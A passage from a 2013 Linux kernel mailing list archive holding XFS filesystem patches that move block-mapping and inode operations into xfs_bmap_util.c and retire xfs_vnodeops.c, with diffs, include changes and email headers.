nextbno; + error = xfs_btree_read_bufl(mp, tp, bno, 0, &bp, + XFS_BMAP_BTREE_REF, + &xfs_bmbt_buf_ops); + if (error) + return error; + *count += 1; + block = XFS_BUF_TO_BLOCK(bp); + } + } + return 0; +} + +/* + * Count fsblocks of the given fork. + */ +int /* error */ +xfs_bmap_count_blocks( + xfs_trans_t *tp, /* transaction pointer */ + xfs_inode_t *ip, /* incore inode */ + int whichfork, /* data or attr fork */ + int *count) /* out: count of blocks */ +{ + struct xfs_btree_block *block; /* current btree block */ + xfs_fsblock_t bno; /* block # of "block" */ + xfs_ifork_t *ifp; /* fork structure */ + int level; /* btree level, for checking */ + xfs_mount_t *mp; /* file system mount structure */ + __be64 *pp; /* pointer to block address */ + + bno = NULLFSBLOCK; + mp = ip->i_mount; + ifp = XFS_IFORK_PTR(ip, whichfork); + if ( XFS_IFORK_FORMAT(ip, whichfork) == XFS_DINODE_FMT_EXTENTS ) { + xfs_bmap_count_leaves(ifp, 0, + ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t), + count); + return 0; + } + + /* + * Root level must use BMAP_BROOT_PTR_ADDR macro to get ptr out. + */ + block = ifp->if_broot; + level = be16_to_cpu(block->bb_level); + ASSERT(level > 0); + pp = XFS_BMAP_BROOT_PTR_ADDR(mp, block, 1, ifp->if_broot_bytes); + bno = be64_to_cpu(*pp); + ASSERT(bno != NULLDFSBNO); + ASSERT(XFS_FSB_TO_AGNO(mp, bno) < mp->m_sb.sb_agcount); + ASSERT(XFS_FSB_TO_AGBNO(mp, bno) < mp->m_sb.sb_agblocks); + + if (unlikely(xfs_bmap_count_tree(mp, tp, ifp, bno, level, count) < 0)) { + XFS_ERROR_REPORT("xfs_bmap_count_blocks(2)", XFS_ERRLEVEL_LOW, + mp); + return XFS_ERROR(EFSCORRUPTED); + } + + return 0; +} + +/* + * returns 1 for success, 0 if we failed to map the extent. + */ +STATIC int +xfs_getbmapx_fix_eof_hole( + xfs_inode_t *ip, /* xfs incore inode pointer */ + struct getbmapx *out, /* output structure */ + int prealloced, /* this is a file with + * preallocated data space */ + __int64_t end, /* last block requested */ + xfs_fsblock_t startblock) +{ + __int64_t fixlen; + xfs_mount_t *mp; /* file system mount point */ + xfs_ifork_t *ifp; /* inode fork pointer */ + xfs_extnum_t lastx; /* last extent pointer */ + xfs_fileoff_t fileblock; + + if (startblock == HOLESTARTBLOCK) { + mp = ip->i_mount; + out->bmv_block = -1; + fixlen = XFS_FSB_TO_BB(mp, XFS_B_TO_FSB(mp, XFS_ISIZE(ip))); + fixlen -= out->bmv_offset; + if (prealloced && out->bmv_offset + out->bmv_length == end) { + /* Came to hole at EOF. Trim it. */ + if (fixlen <= 0) + return 0; + out->bmv_length = fixlen; + } + } else { + if (startblock == DELAYSTARTBLOCK) + out->bmv_block = -2; + else + out->bmv_block = xfs_fsb_to_db(ip, startblock); + fileblock = XFS_BB_TO_FSB(ip->i_mount, out->bmv_offset); + ifp = XFS_IFORK_PTR(ip, XFS_DATA_FORK); + if (xfs_iext_bno_to_ext(ifp, fileblock, &lastx) && + (lastx == (ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t))-1)) + out->bmv_oflags |= BMV_OF_LAST; + } + + return 1; +} + +/* + * Get inode's extents as described in bmv, and format for output. + * Calls formatter to fill the user's buffer until all extents + * are mapped, until the passed-in bmv->bmv_count slots have + * been filled, or until the formatter short-circuits the loop, + * if it is tracking filled-in extents on its own. + */ +int /* error code */ +xfs_getbmap( + xfs_inode_t *ip, + struct getbmapx *bmv, /* user bmap structure */ + xfs_bmap_format_t formatter, /* format to user */ + void *arg) /* formatter arg */ +{ + __int64_t bmvend; /* last block requested */ + int error = 0; /* return value */ + __int64_t fixlen; /* length for -1 case */ + int i; /* extent number */ + int lock; /* lock state */ + xfs_bmbt_irec_t *map; /* buffer for user's data */ + xfs_mount_t *mp; /* file system mount point */ + int nex; /* # of user extents can do */ + int nexleft; /* # of user extents left */ + int subnex; /* # of bmapi's can do */ + int nmap; /* number of map entries */ + struct getbmapx *out; /* output structure */ + int whichfork; /* data or attr fork */ + int prealloced; /* this is a file with + * preallocated data space */ + int iflags; /* interface flags */ + int bmapi_flags; /* flags for xfs_bmapi */ + int cur_ext = 0; + + mp = ip->i_mount; + iflags = bmv->bmv_iflags; + whichfork = iflags & BMV_IF_ATTRFORK ? XFS_ATTR_FORK : XFS_DATA_FORK; + + if (whichfork == XFS_ATTR_FORK) { + if (XFS_IFORK_Q(ip)) { + if (ip->i_d.di_aformat != XFS_DINODE_FMT_EXTENTS && + ip->i_d.di_aformat != XFS_DINODE_FMT_BTREE && + ip->i_d.di_aformat != XFS_DINODE_FMT_LOCAL) + return XFS_ERROR(EINVAL); + } else if (unlikely( + ip->i_d.di_aformat != 0 && + ip->i_d.di_aformat != XFS_DINODE_FMT_EXTENTS)) { + XFS_ERROR_REPORT("xfs_getbmap", XFS_ERRLEVEL_LOW, + ip->i_mount); + return XFS_ERROR(EFSCORRUPTED); + } + + prealloced = 0; + fixlen = 1LL << 32; + } else { + if (ip->i_d.di_format != XFS_DINODE_FMT_EXTENTS && + ip->i_d.di_format != XFS_DINODE_FMT_BTREE && + ip->i_d.di_format != XFS_DINODE_FMT_LOCAL) + return XFS_ERROR(EINVAL); + + if (xfs_get_extsz_hint(ip) || + ip->i_d.di_flags & (XFS_DIFLAG_PREALLOC|XFS_DIFLAG_APPEND)){ + prealloced = 1; + fixlen = mp->m_super->s_maxbytes; + } else { + prealloced = 0; + fixlen = XFS_ISIZE(ip); + } + } + + if (bmv->bmv_length == -1) { + fixlen = XFS_FSB_TO_BB(mp, XFS_B_TO_FSB(mp, fixlen)); + bmv->bmv_length = + max_t(__int64_t, fixlen - bmv->bmv_offset, 0); + } else if (bmv->bmv_length == 0) { + bmv->bmv_entries = 0; + return 0; + } else if (bmv->bmv_length < 0) { + return XFS_ERROR(EINVAL); + } + + nex = bmv->bmv_count - 1; + if (nex <= 0) + return XFS_ERROR(EINVAL); + bmvend = bmv->bmv_offset + bmv->bmv_length; + + + if (bmv->bmv_count > ULONG_MAX / sizeof(struct getbmapx)) + return XFS_ERROR(ENOMEM); + out = kmem_zalloc(bmv->bmv_count * sizeof(struct getbmapx), KM_MAYFAIL); + if (!out) { + out = kmem_zalloc_large(bmv->bmv_count * + sizeof(struct getbmapx)); + if (!out) + return XFS_ERROR(ENOMEM); + } + + xfs_ilock(ip, XFS_IOLOCK_SHARED); + if (whichfork == XFS_DATA_FORK && !(iflags & BMV_IF_DELALLOC)) { + if (ip->i_delayed_blks || XFS_ISIZE(ip) > ip->i_d.di_size) { + error = -filemap_write_and_wait(VFS_I(ip)->i_mapping); + if (error) + goto out_unlock_iolock; + } + /* + * even after flushing the inode, there can still be delalloc + * blocks on the inode beyond EOF due to speculative + * preallocation. These are not removed until the release + * function is called or the inode is inactivated. Hence we + * cannot assert here that ip->i_delayed_blks == 0. + */ + } + + lock = xfs_ilock_map_shared(ip); + + /* + * Don't let nex be bigger than the number of extents + * we can have assuming alternating holes and real extents. + */ + if (nex > XFS_IFORK_NEXTENTS(ip, whichfork) * 2 + 1) + nex = XFS_IFORK_NEXTENTS(ip, whichfork) * 2 + 1; + + bmapi_flags = xfs_bmapi_aflag(whichfork); + if (!(iflags & BMV_IF_PREALLOC)) + bmapi_flags |= XFS_BMAPI_IGSTATE; + + /* + * Allocate enough space to handle "subnex" maps at a time. + */ + error = ENOMEM; + subnex = 16; + map = kmem_alloc(subnex * sizeof(*map), KM_MAYFAIL | KM_NOFS); + if (!map) + goto out_unlock_ilock; + + bmv->bmv_entries = 0; + + if (XFS_IFORK_NEXTENTS(ip, whichfork) == 0 && + (whichfork == XFS_ATTR_FORK || !(iflags & BMV_IF_DELALLOC))) { + error = 0; + goto out_free_map; + } + + nexleft = nex; + + do { + nmap = (nexleft > subnex) ? subnex : nexleft; + error = xfs_bmapi_read(ip, XFS_BB_TO_FSBT(mp, bmv->bmv_offset), + XFS_BB_TO_FSB(mp, bmv->bmv_length), + map, &nmap, bmapi_flags); + if (error) + goto out_free_map; + ASSERT(nmap <= subnex); + + for (i = 0; i < nmap && nexleft && bmv->bmv_length; i++) { + out[cur_ext].bmv_oflags = 0; + if (map[i].br_state == XFS_EXT_UNWRITTEN) + out[cur_ext].bmv_oflags |= BMV_OF_PREALLOC; + else if (map[i].br_startblock == DELAYSTARTBLOCK) + out[cur_ext].bmv_oflags |= BMV_OF_DELALLOC; + out[cur_ext].bmv_offset = + XFS_FSB_TO_BB(mp, map[i].br_startoff); + out[cur_ext].bmv_length = + XFS_FSB_TO_BB(mp, map[i].br_blockcount); + out[cur_ext].bmv_unused1 = 0; + out[cur_ext].bmv_unused2 = 0; + + /* + * delayed allocation extents that start beyond EOF can + * occur due to speculative EOF allocation when the + * delalloc extent is larger than the largest freespace + * extent at conversion time. These extents cannot be + * converted by data writeback, so can exist here even + * if we are not supposed to be finding delalloc + * extents. + */ + if (map[i].br_startblock == DELAYSTARTBLOCK && + map[i].br_startoff <= XFS_B_TO_FSB(mp, XFS_ISIZE(ip))) + ASSERT((iflags & BMV_IF_DELALLOC) != 0); + + if (map[i].br_startblock == HOLESTARTBLOCK && + whichfork == XFS_ATTR_FORK) { + /* came to the end of attribute fork */ + out[cur_ext].bmv_oflags |= BMV_OF_LAST; + goto out_free_map; + } + + if (!xfs_getbmapx_fix_eof_hole(ip, &out[cur_ext], + prealloced, bmvend, + map[i].br_startblock)) + goto out_free_map; + + bmv->bmv_offset = + out[cur_ext].bmv_offset + + out[cur_ext].bmv_length; + bmv->bmv_length = + max_t(__int64_t, 0, bmvend - bmv->bmv_offset); + + /* + * In case we don't want to return the hole, + * don't increase cur_ext so that we can reuse + * it in the next loop. + */ + if ((iflags & BMV_IF_NO_HOLES) && + map[i].br_startblock == HOLESTARTBLOCK) { + memset(&out[cur_ext], 0, sizeof(out[cur_ext])); + continue; + } + + nexleft--; + bmv->bmv_entries++; + cur_ext++; + } + } while (nmap && nexleft && bmv->bmv_length); + + out_free_map: + kmem_free(map); + out_unlock_ilock: + xfs_iunlock_map_shared(ip, lock); + out_unlock_iolock: + xfs_iunlock(ip, XFS_IOLOCK_SHARED); + + for (i = 0; i < cur_ext; i++) { + int full = 0; /* user array is full */ + + /* format results & advance arg */ + error = formatter(&arg, &out[i], &full); + if (error || full) + break; + } + + if (is_vmalloc_addr(out)) + kmem_free_large(out); + else + kmem_free(out); + return error; +} + +/* + * dead simple method of punching delalyed allocation blocks from a range in + * the inode. Walks a block at a time so will be slow, but is only executed in + * rare error cases so the overhead is not critical. This will alays punch out + * both the start and end blocks, even if the ranges only partially overlap + * them, so it is up to the caller to ensure that partial blocks are not + * passed in. + */ +int +xfs_bmap_punch_delalloc_range( + struct xfs_inode *ip, + xfs_fileoff_t start_fsb, + xfs_fileoff_t length) +{ + xfs_fileoff_t remaining = length; + int error = 0; + + ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); + + do { + int done; + xfs_bmbt_irec_t imap; + int nimaps = 1; + xfs_fsblock_t firstblock; + xfs_bmap_free_t flist; + + /* + * Map the range first and check that it is a delalloc extent + * before trying to unmap the range. Otherwise we will be + * trying to remove a real extent (which requires a + * transaction) or a hole, which is probably a bad idea... + */ + error = xfs_bmapi_read(ip, start_fsb, 1, &imap, &nimaps, + XFS_BMAPI_ENTIRE); + + if (error) { + /* something screwed, just bail */ + if (!XFS_FORCED_SHUTDOWN(ip->i_mount)) { + xfs_alert(ip->i_mount, + "Failed delalloc mapping lookup ino %lld fsb %lld.", + ip->i_ino, start_fsb); + } + break; + } + if (!nimaps) { + /* nothing there */ + goto next_block; + } + if (imap.br_startblock != DELAYSTARTBLOCK) { + /* been converted, ignore */ + goto next_block; + } + WARN_ON(imap.br_blockcount == 0); + + /* + * Note: while we initialise the firstblock/flist pair, they + * should never be used because blocks should never be + * allocated or freed for a delalloc extent and hence we need + * don't cancel or finish them after the xfs_bunmapi() call. + */ + xfs_bmap_init(&flist, &firstblock); + error = xfs_bunmapi(NULL, ip, start_fsb, 1, 0, 1, &firstblock, + &flist, &done); + if (error) + break; + + ASSERT(!flist.xbf_count && !flist.xbf_first); +next_block: + start_fsb++; + remaining--; + } while(remaining > 0); + + return error; +} diff --git a/fs/xfs/xfs_bmap_util.h b/fs/xfs/xfs_bmap_util.h new file mode 100644 index 0000000..004fe4b --- /dev/null +++ b/fs/xfs/xfs_bmap_util.h @@ -0,0 +1,96 @@ +/* + * Copyright (c) 2000-2006 Silicon Graphics, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#ifndef __XFS_BMAP_UTIL_H__ +#define __XFS_BMAP_UTIL_H__ + +/* Kernel only BMAP related definitions and functions */ + +struct xfs_bmbt_irec; +struct xfs_ifork; +struct xfs_inode; +struct xfs_mount; +struct xfs_trans; + +/* + * Argument structure for xfs_bmap_alloc. + */ +struct xfs_bmalloca { + xfs_fsblock_t *firstblock; /* i/o first block allocated */ + struct xfs_bmap_free *flist; /* bmap freelist */ + struct xfs_trans *tp; /* transaction pointer */ + struct xfs_inode *ip; /* incore inode pointer */ + struct xfs_bmbt_irec prev; /* extent before the new one */ + struct xfs_bmbt_irec got; /* extent after, or delayed */ + + xfs_fileoff_t offset; /* offset in file filling in */ + xfs_extlen_t length; /* i/o length asked/allocated */ + xfs_fsblock_t blkno; /* starting block of new extent */ + + struct xfs_btree_cur *cur; /* btree cursor */ + xfs_extnum_t idx; /* current extent index */ + int nallocs;/* number of extents alloc'd */ + int logflags;/* flags for transaction logging */ + + xfs_extlen_t total; /* total blocks needed for xaction */ + xfs_extlen_t minlen; /* minimum allocation size (blocks) */ + xfs_extlen_t minleft; /* amount must be left after alloc */ + char eof; /* set if allocating past last extent */ + char wasdel; /* replacing a delayed allocation */ + char userdata;/* set if is user data */ + char aeof; /* allocated space at eof */ + char conv; /* overwriting unwritten extents */ + char stack_switch; + int flags; + struct completion *done; + struct work_struct work; + int result; +}; + +int xfs_bmap_finish(struct xfs_trans **tp, struct xfs_bmap_free *flist, + int *committed); +int xfs_bmap_rtalloc(struct xfs_bmalloca *ap); +int xfs_bmapi_allocate(struct xfs_bmalloca *args); +int __xfs_bmapi_allocate(struct xfs_bmalloca *args); +int xfs_bmap_eof(struct xfs_inode *ip, xfs_fileoff_t endoff, + int whichfork, int *eof); +int xfs_bmap_count_blocks(struct xfs_trans *tp, struct xfs_inode *ip, + int whichfork, int *count); +int xfs_bmap_punch_delalloc_range(struct xfs_inode *ip, + xfs_fileoff_t start_fsb, xfs_fileoff_t length); + +/* bmap to userspace formatter - copy to user & advance pointer */ +typedef int (*xfs_bmap_format_t)(void **, struct getbmapx *, int *); +int xfs_getbmap(struct xfs_inode *ip, struct getbmapx *bmv, + xfs_bmap_format_t formatter, void *arg); + +/* functions in xfs_bmap.c that are only needed by xfs_bmap_util.c */ +void xfs_bmap_del_free(struct xfs_bmap_free *flist, + struct xfs_bmap_free_item *prev, + struct xfs_bmap_free_item *free); +int xfs_bmap_extsize_align(struct xfs_mount *mp, struct xfs_bmbt_irec *gotp, + struct xfs_bmbt_irec *prevp, xfs_extlen_t extsz, + int rt, int eof, int delay, int convert, + xfs_fileoff_t *offp, xfs_extlen_t *lenp); +void xfs_bmap_adjacent(struct xfs_bmalloca *ap); +int xfs_bmap_last_extent(struct xfs_trans *tp, struct xfs_inode *ip, + int whichfork, struct xfs_bmbt_irec *rec, + int *is_empty); + +xfs_daddr_t xfs_fsb_to_db(struct xfs_inode *ip, xfs_fsblock_t fsb); + +#endif /* __XFS_BMAP_UTIL_H__ */ diff --git a/fs/xfs/xfs_dfrag.c b/fs/xfs/xfs_dfrag.c index e36445c..815dace 100644 --- a/fs/xfs/xfs_dfrag.c +++ b/fs/xfs/xfs_dfrag.c @@ -31,6 +31,7 @@ #include "xfs_inode.h" #include "xfs_inode_item.h" #include "xfs_bmap.h" +#include "xfs_bmap_util.h" #include "xfs_itable.h" #include "xfs_dfrag.h" #include "xfs_error.h" diff --git a/fs/xfs/xfs_dquot.c b/fs/xfs/xfs_dquot.c index 36e1cf3..e90e123 100644 --- a/fs/xfs/xfs_dquot.c +++ b/fs/xfs/xfs_dquot.c @@ -29,6 +29,7 @@ #include "xfs_bmap_btree.h" #include "xfs_inode.h" #include "xfs_bmap.h" +#include "xfs_bmap_util.h" #include "xfs_rtalloc.h" #include "xfs_error.h" #include "xfs_itable.h" diff --git a/fs/xfs/xfs_filestream.c b/fs/xfs/xfs_filestream.c index 9eae097..d0e8890 100644 --- a/fs/xfs/xfs_filestream.c +++ b/fs/xfs/xfs_filestream.c @@ -26,6 +26,7 @@ #include "xfs_sb.h" #include "xfs_mount.h" #include "xfs_bmap.h" +#include "xfs_bmap_util.h" #include "xfs_alloc.h" #include "xfs_utils.h" #include "xfs_mru_cache.h" @@ -668,8 +669,8 @@ exit: */ int xfs_filestream_new_ag( - xfs_bmalloca_t *ap, - xfs_agnumber_t *agp) + struct xfs_bmalloca *ap, + xfs_agnumber_t *agp) { int flags, err; xfs_inode_t *ip, *pip = NULL; diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index cf35d86..3f82f56 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -39,6 +39,7 @@ #include "xfs_alloc.h" #include "xfs_ialloc.h" #include "xfs_bmap.h" +#include "xfs_bmap_util.h" #include "xfs_error.h" #include "xfs_utils.h" #include "xfs_quota.h" diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index 3124efa..7c27538 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -33,6 +33,7 @@ #include "xfs_error.h" #include "xfs_attr.h" #include "xfs_bmap.h" +#include "xfs_bmap_util.h" #include "xfs_buf_item.h" #include "xfs_utils.h" #include "xfs_dfrag.h" diff --git a/fs/xfs/xfs_iomap.c b/fs/xfs/xfs_iomap.c index e4577f8..b04a60f 100644 --- a/fs/xfs/xfs_iomap.c +++ b/fs/xfs/xfs_iomap.c @@ -33,6 +33,7 @@ #include "xfs_inode_item.h" #include "xfs_btree.h" #include "xfs_bmap.h" +#include "xfs_bmap_util.h" #include "xfs_rtalloc.h" #include "xfs_error.h" #include "xfs_itable.h" diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index e441698..17b70f0 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -30,6 +30,7 @@ #include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_bmap.h" +#include "xfs_bmap_util.h" #include "xfs_rtalloc.h" #include "xfs_error.h" #include "xfs_itable.h" diff --git a/fs/xfs/xfs_rename.c b/fs/xfs/xfs_rename.c index 4715c7f..68cb725 100644 --- a/fs/xfs/xfs_rename.c +++ b/fs/xfs/xfs_rename.c @@ -31,6 +31,7 @@ #include "xfs_inode.h" #include "xfs_inode_item.h" #include "xfs_bmap.h" +#include "xfs_bmap_util.h" #include "xfs_error.h" #include "xfs_quota.h" #include "xfs_utils.h" diff --git a/fs/xfs/xfs_rtalloc.c b/fs/xfs/xfs_rtalloc.c index bb4f7a1..084caa8 100644 --- a/fs/xfs/xfs_rtalloc.c +++ b/fs/xfs/xfs_rtalloc.c @@ -29,6 +29,7 @@ #include "xfs_inode.h" #include "xfs_alloc.h" #include "xfs_bmap.h" +#include "xfs_bmap_util.h" #include "xfs_rtalloc.h" #include "xfs_fsops.h" #include "xfs_error.h" diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c index 18f24de..1ce2756 100644 --- a/fs/xfs/xfs_symlink.c +++ b/fs/xfs/xfs_symlink.c @@ -35,6 +35,7 @@ #include "xfs_ialloc.h" #include "xfs_alloc.h" #include "xfs_bmap.h" +#include "xfs_bmap_util.h" #include "xfs_error.h" #include "xfs_quota.h" #include "xfs_utils.h" diff --git a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c index 5a1537e..ed6446e 100644 --- a/fs/xfs/xfs_trans_resv.c +++ b/fs/xfs/xfs_trans_resv.c @@ -37,6 +37,7 @@ #include "xfs_alloc.h" #include "xfs_extent_busy.h" #include "xfs_bmap.h" +#include "xfs_bmap_util.h" #include "xfs_quota.h" #include "xfs_qm.h" #include "xfs_trans_space.h" diff --git a/fs/xfs/xfs_vnodeops.c b/fs/xfs/xfs_vnodeops.c index 221e2e3..dc81a8d 100644 --- a/fs/xfs/xfs_vnodeops.c +++ b/fs/xfs/xfs_vnodeops.c @@ -38,6 +38,7 @@ #include "xfs_ialloc.h" #include "xfs_alloc.h" #include "xfs_bmap.h" +#include "xfs_bmap_util.h" #include "xfs_acl.h" #include "xfs_attr.h" #include "xfs_error.h" -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:26:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C19A27F89 for ; Fri, 19 Jul 2013 01:25:53 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6CB05AC00E for ; Thu, 18 Jul 2013 23:25:53 -0700 (PDT) X-ASG-Debug-ID: 1374215134-04bdf0245d189c50008-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id ptklMkSBH9HJiQNs for ; Thu, 18 Jul 2013 23:25:44 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsALAB3b6FF5LK4r/2dsb2JhbABSCIMGrjqTDAQBgRUXdIIkAQEFGgECCi8zCBgYGTkDGxmID7YvjkIJDAEBBhOBEhyDcgOSbYEZjXmHK4MkKoEsAQECHAY Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:31 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0483-00048W-0o for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0482-0001yZ-Vr for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 24/49] xfs: kill xfs_vnodeops.[ch] Date: Fri, 19 Jul 2013 16:24:55 +1000 X-ASG-Orig-Subj: [PATCH 24/49] xfs: kill xfs_vnodeops.[ch] Message-Id: <1374215120-7271-25-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215144 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Now we have xfs_inode.c for holding kernel-only XFS inode operations, move all the inode operations from xfs_vnodeops.c to this new file as it holds another set of kernel-only inode operations. The name of this file traces back to the days of Irix and it's vnodes which we don't have anymore. Essentially this move consolidates the inode locking functions and a bunch of XFS inode operations into the one file. Eventually the high level functions will be merged into the VFS interface functions in xfs_iops.c. This leaves only internal preallocation, EOF block manipulation and hole punching functions in vnodeops.c. Move these to xfs_bmap_util.c where we are already consolidating various in-kernel physical extent manipulation and querying functions. Signed-off-by: Dave Chinner --- fs/xfs/Makefile | 1 - fs/xfs/xfs_acl.c | 1 - fs/xfs/xfs_aops.c | 1 - fs/xfs/xfs_attr.c | 1 - fs/xfs/xfs_attr.h | 8 + fs/xfs/xfs_bmap.c | 1 - fs/xfs/xfs_bmap_util.c | 861 ++++++++++++++++++++++ fs/xfs/xfs_bmap_util.h | 11 + fs/xfs/xfs_dfrag.c | 1 - fs/xfs/xfs_dir2.c | 1 - fs/xfs/xfs_dir2.h | 6 - fs/xfs/xfs_dir2_priv.h | 6 + fs/xfs/xfs_export.c | 1 - fs/xfs/xfs_file.c | 3 +- fs/xfs/xfs_icache.c | 2 +- fs/xfs/xfs_inode.c | 1003 +++++++++++++++++++++++++- fs/xfs/xfs_inode.h | 23 +- fs/xfs/xfs_inode_buf.h | 1 - fs/xfs/xfs_ioctl.c | 36 +- fs/xfs/xfs_ioctl.h | 6 + fs/xfs/xfs_ioctl32.c | 1 - fs/xfs/xfs_iops.c | 2 +- fs/xfs/xfs_iops.h | 13 + fs/xfs/xfs_rename.c | 1 - fs/xfs/xfs_super.c | 1 - fs/xfs/xfs_vnodeops.c | 1872 ------------------------------------------------ fs/xfs/xfs_vnodeops.h | 55 -- fs/xfs/xfs_xattr.c | 1 - 28 files changed, 1930 insertions(+), 1990 deletions(-) delete mode 100644 fs/xfs/xfs_vnodeops.c delete mode 100644 fs/xfs/xfs_vnodeops.h diff --git a/fs/xfs/Makefile b/fs/xfs/Makefile index dcd21b9..8691dba 100644 --- a/fs/xfs/Makefile +++ b/fs/xfs/Makefile @@ -55,7 +55,6 @@ xfs-y += xfs_aops.o \ xfs_symlink.o \ xfs_trans.o \ xfs_utils.o \ - xfs_vnodeops.o \ xfs_xattr.o \ kmem.o \ uuid.o diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c index 150c670..0c4368a 100644 --- a/fs/xfs/xfs_acl.c +++ b/fs/xfs/xfs_acl.c @@ -22,7 +22,6 @@ #include "xfs_attr.h" #include "xfs_bmap_btree.h" #include "xfs_inode.h" -#include "xfs_vnodeops.h" #include "xfs_sb.h" #include "xfs_mount.h" #include "xfs_trace.h" diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c index bf1270f..79d6b0a 100644 --- a/fs/xfs/xfs_aops.c +++ b/fs/xfs/xfs_aops.c @@ -28,7 +28,6 @@ #include "xfs_alloc.h" #include "xfs_error.h" #include "xfs_iomap.h" -#include "xfs_vnodeops.h" #include "xfs_trace.h" #include "xfs_bmap.h" #include "xfs_bmap_util.h" diff --git a/fs/xfs/xfs_attr.c b/fs/xfs/xfs_attr.c index 91acc38..046cf3d 100644 --- a/fs/xfs/xfs_attr.c +++ b/fs/xfs/xfs_attr.c @@ -40,7 +40,6 @@ #include "xfs_error.h" #include "xfs_quota.h" #include "xfs_trans_space.h" -#include "xfs_vnodeops.h" #include "xfs_trace.h" /* diff --git a/fs/xfs/xfs_attr.h b/fs/xfs/xfs_attr.h index cb604b5..dd48245 100644 --- a/fs/xfs/xfs_attr.h +++ b/fs/xfs/xfs_attr.h @@ -142,5 +142,13 @@ typedef struct xfs_attr_list_context { int xfs_attr_inactive(struct xfs_inode *dp); int xfs_attr_list_int(struct xfs_attr_list_context *); int xfs_inode_hasattr(struct xfs_inode *ip); +int xfs_attr_get(struct xfs_inode *ip, const unsigned char *name, + unsigned char *value, int *valuelenp, int flags); +int xfs_attr_set(struct xfs_inode *dp, const unsigned char *name, + unsigned char *value, int valuelen, int flags); +int xfs_attr_remove(struct xfs_inode *dp, const unsigned char *name, int flags); +int xfs_attr_list(struct xfs_inode *dp, char *buffer, int bufsize, + int flags, struct attrlist_cursor_kern *cursor); + #endif /* __XFS_ATTR_H__ */ diff --git a/fs/xfs/xfs_bmap.c b/fs/xfs/xfs_bmap.c index a9331a6..51e07e7 100644 --- a/fs/xfs/xfs_bmap.c +++ b/fs/xfs/xfs_bmap.c @@ -48,7 +48,6 @@ #include "xfs_trans_space.h" #include "xfs_buf_item.h" #include "xfs_filestream.h" -#include "xfs_vnodeops.h" #include "xfs_trace.h" #include "xfs_symlink.h" diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c index 8e48ddf..f557022 100644 --- a/fs/xfs/xfs_bmap_util.c +++ b/fs/xfs/xfs_bmap_util.c @@ -1,5 +1,6 @@ /* * Copyright (c) 2000-2006 Silicon Graphics, Inc. + * Copyright (c) 2012 Red Hat, Inc. * All Rights Reserved. * * This program is free software; you can redistribute it and/or @@ -41,6 +42,7 @@ #include "xfs_quota.h" #include "xfs_trans_space.h" #include "xfs_trace.h" +#include "xfs_icache.h" /* Kernel only BMAP related definitions and functions */ @@ -832,3 +834,862 @@ next_block: return error; } + +/* + * Test whether it is appropriate to check an inode for and free post EOF + * blocks. The 'force' parameter determines whether we should also consider + * regular files that are marked preallocated or append-only. + */ +bool 